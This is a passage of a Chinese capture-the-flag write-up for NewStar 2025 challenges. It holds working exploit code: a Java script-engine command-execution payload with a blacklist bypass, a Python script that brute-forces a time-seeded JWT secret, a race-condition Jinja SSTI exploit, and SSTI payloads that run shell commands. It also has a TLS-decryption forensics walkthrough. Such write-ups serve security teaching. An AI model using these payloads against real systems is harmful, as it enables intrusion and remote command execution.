getSpentPoints() external view returns (uint256) { return userSpentPoints[msg.sender] == 0 ? 1000 : userSpentPoints[msg.sender]; } function resetUser() external { uint256 userCurrentPoints = userPoints[msg.sender]; if (userCurrentPoints > 0) { unchecked { totalPoints -= userCurrentPoints; } userPoints[msg.sender] = 0; } userSpentPoints[msg.sender] = 1000; unlocked[msg.sender] = false; } }
利用步骤跟 week4 那道区块链差不多,这里就不细说了,使用 Remix - Ethereum IDE ,将题目给出的代码写上,确定版本一致,然后连接上自己的小狐狸钱包,在 At Address 中填入题目给出的合约地址,按照上述分析调用即可得到 flag
1 flag{Good_NewStar2025_Byeeeee!}
Web 眼熟的计算器 一道简单的 java 题,考察 java 中的 js 命令执行
首先使用 IDEA 反编译一下 jar 包,在 org.example.newstar.controller 里可以看到程序的主逻辑
程序会先检查你的输入是否包含黑名单字符 {"import", "java.lang.Runtime", "new"},如果检测到黑名单词,立即返回错误信息,否则使用 js 引擎执行用户输入的表达式,最后将执行结果转换为字符串返回。
关键就在于下面这行代码,可以执行任意 js 语句并回显结果,只有一个简单的黑名单进行过滤
1 Object result = (new ScriptEngineManager()).getEngineByName("js").eval(content)
使用空格绕过 java.lang.Runtime,使用 p.getInputStream() 获取进程的标准输出流,再逐字节读取命令执行的结果,最终 payload 如下,url 编码执行即可得到 flag
1 var p = java.lang. Runtime.getRuntime().exec("cat /flag"); var is = p.getInputStream(); var arr = []; var byteVal; while((byteVal = is.read()) != -1) { arr.push(String.fromCharCode(byteVal)); } arr.join('')
废弃的网站 这道题 AI 可以直接梭了,首先审计一下代码,有几个问题
JWT 签名密钥基于服务器启动时间生成,攻击者可以暴力破解启动时间戳来预测密钥
1 2 time_started = round(time.time()) APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()
这里存在 SSTI 模板注入漏洞,并且没有任何过滤,一旦伪造 admin 身份后就可以利用该漏洞 RCE
1 render_template_string("Welcome Back, %s" % tempuser['name'])
首先伪造管理员身份,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 import reimport timeimport hashlibimport requestsimport jwtfrom concurrent.futures import ThreadPoolExecutorTARGET = "http://8.147.132.32:40772/" BAD_COOKIE = "this_is_invalid" ADMIN_PAYLOAD = {"id" : 1 , "role" : "admin" , "name" : "Administrator" } sess = requests.Session() def get_server_time (): """获取服务器时间和运行时间""" try : r = sess.get(TARGET, cookies={"session" : BAD_COOKIE}, timeout=5 ) match = re.search(r"System has been running\s+(\d+)\s+seconds" , r.text) if match : runtime = int (match .group(1 )) date_header = r.headers.get("Date" ) if date_header: from email.utils import parsedate_to_datetime server_time = int (parsedate_to_datetime(date_header).timestamp()) return server_time - runtime, runtime except : pass return None , None def test_secret (secret ): """测试一个secret是否有效""" try : token = jwt.encode(ADMIN_PAYLOAD, secret, algorithm="HS256" ) if isinstance (token, bytes ): token = token.decode() r = requests.get(f"{TARGET} /admin" , cookies={"session" : token}, timeout=5 ) if r.status_code == 200 and "Welcome Back" in r.text: return secret, token, r.text except : pass return None def brute_force (start_ts, window=10000 , threads=40 ): """暴力破解secret""" print (f"[*] 爆破范围: {start_ts-window} 到 {start_ts+window} " ) def worker (ts ): secret = hashlib.sha256(str (ts).encode()).hexdigest() return test_secret(secret) with ThreadPoolExecutor(max_workers=threads) as executor: tasks = range (start_ts - window, start_ts + window + 1 ) results = executor.map (worker, tasks) for result in results: if result: return result return None def main (): print ("[*] 获取服务器信息..." ) server_start_time, runtime = get_server_time() if server_start_time: print (f"[+] 服务器启动时间: {server_start_time} " ) print (f"[+] 已运行: {runtime} 秒" ) for offset in range (-5 , 6 ): test_ts = server_start_time + offset secret = hashlib.sha256(str (test_ts).encode()).hexdigest() result = test_secret(secret) if result: secret, token, content = result print (f"\n[!] 成功! Secret: {secret} " ) print (f"[!] Token: {token} " ) print (f"\n管理员页面内容:\n{content} " ) return print ("[-] 快速尝试失败,开始暴力破解..." ) result = brute_force(server_start_time) if result: secret, token, content = result print (f"\n[!] 爆破成功! Secret: {secret} " ) print (f"\n管理员页面内容:\n{content} " ) else : print ("[-] 爆破失败" ) else : print ("[-] 无法获取服务器时间" ) if __name__ == "__main__" : main()
成功爆破得到 JWT 密钥后,可以伪造管理员 token 访问 /admin 页面。然后利用 SSTI 漏洞,通过条件竞争在 admin 检查期间覆盖全局变量 tempuser,从而在模板渲染时执行任意命令获取 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import requestsimport jwtimport timefrom threading import ThreadTARGET = "http://8.147.132.32:40772/" SECRET = "b864e852b09e54beed30a860dc3d713aa52f7b81bef4c432ec34eadda0dac1a7" def ssti_exploit (): ssti_token = jwt.encode( {"id" : 2 , "role" : "guest" , "name" : "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}" }, SECRET, algorithm='HS256' ) admin_token = jwt.encode( {"id" : 1 , "role" : "admin" , "name" : "Administrator" }, SECRET, algorithm='HS256' ) print ("开始SSTI攻击..." ) def admin_request (): r = requests.get(TARGET + "admin" , cookies={"session" : admin_token}) if "Welcome Back" in r.text and "Administrator" not in r.text: print ("成功!" ) print (r.text) return True return False def guest_request (): requests.get(TARGET, cookies={"session" : ssti_token}) for i in range (50 ): t1 = Thread(target=admin_request) t2 = Thread(target=guest_request) t1.start() time.sleep(0.05 ) t2.start() t1.join() t2.join() if __name__ == "__main__" : ssti_exploit()
挑战题 [musc ch4l1eng3][Misc]不是所有牛奶都叫_____
什么牛奶?MN?YGNC?YL?特@$&!$&*!@$^&——————-.
(flag提交时去掉&符号)
打开流量包,发现有很多 TLS 加密流量
过滤 HTTP 协议,有很多访问 flag 相关文件的请求,访问是 垃圾邮件隐写,但是解密后就是一些垃圾字符
先找一下 TLS 解密日志文件,搜索 TLS 解密文件关键词 CLIENT_HANDSHAKE_TRAFFIC_SECRET,右键追踪 TCP 流,即可找到 TLS解密日志文件
将日志文件提取出来,格式整理一下,把出现的 \n 换成真正的换行即可,文件命名为 ssl.log
在 wireshark 的 编辑->首选项->Protocols->TLS 里,配置得到的解密日志文件,之后就可以成功解密 TLS 流量为 HTTP 协议
再次过滤 HTTP 协议,发现多了很多 POST 流量,使用 http.request.method=="POST" 规则过滤一下,发现前面的一些还是上传的垃圾邮件隐写的内容,都没什么用。但是在最后一个 POST 请求包里发现 base64 编码的内容
解码后是一张二维码,扫描即可得到 flag,提交的时候按照提示去掉 & 符号即可
1 flag{W0w_You_r3al1y_knOW_TL5QrCode}
web_who’ssti_challenge 本来以为跟 week3 那道 SSTI 差不多,一直在尝试调用所有函数,结果是想错了。。。
首先分析源码:
trace_calls 函数相较于之前,把 BoleanFlag = True 注释了,也就是说不可能通过调用给出的函数来得到 flag 了
1 2 3 4 5 6 7 8 9 10 def trace_calls (frame, event, arg ): if event == 'call' : func_name = frame.f_code.co_name if func_name in need_List: need_List[func_name] = 1 return trace_calls
后面这里就是一个正常的 SSTI,但是如果 BoleanFlag 不为 true 的话,就无回显,只会输出 {"status": "OK"}
1 2 3 4 5 6 7 8 9 10 11 app = Flask(__name__) @app.route('/' , methods=["GET" , "POST" ] ) def index (): submit = request.form.get('submit' ) if submit: sys.settrace(trace_calls) print (render_template_string(submit)) sys.settrace(None ) if BoleanFlag: return jsonify({"flag" : RealFlag}) return jsonify({"status" : "OK" })
可以直接创建一个 static 目录把命令执行结果写入这个目录
1 {{lipsum.__globals__.__builtins__.__import__('os').popen('mkdir static').read()}}
环境变量里的flag被销毁了,但是可以通过导入 __main__ 模块中的 RealFlag 来得到 flag,RealFlag 在容器中是一串随机字符串,先看一下 app.py 里怎么写的,先将 app.py 的内容读到 static/flag.txt,再访问
1 {{lipsum.__globals__.__builtins__.__import__('os').popen('cat app.py>static/flag.txt').read()}}
得到 RealFlag 的真正名字 subZgtvmVgDlOHj4xCz,读取并写到 static/flag.txt 里,刷新即可得到 flag
1 {{ lipsum.__globals__.__builtins__.open('static/flag.txt', 'w').write(lipsum.__globals__.__builtins__.__import__('__main__').subZgtvmVgDlOHj4xCz) }}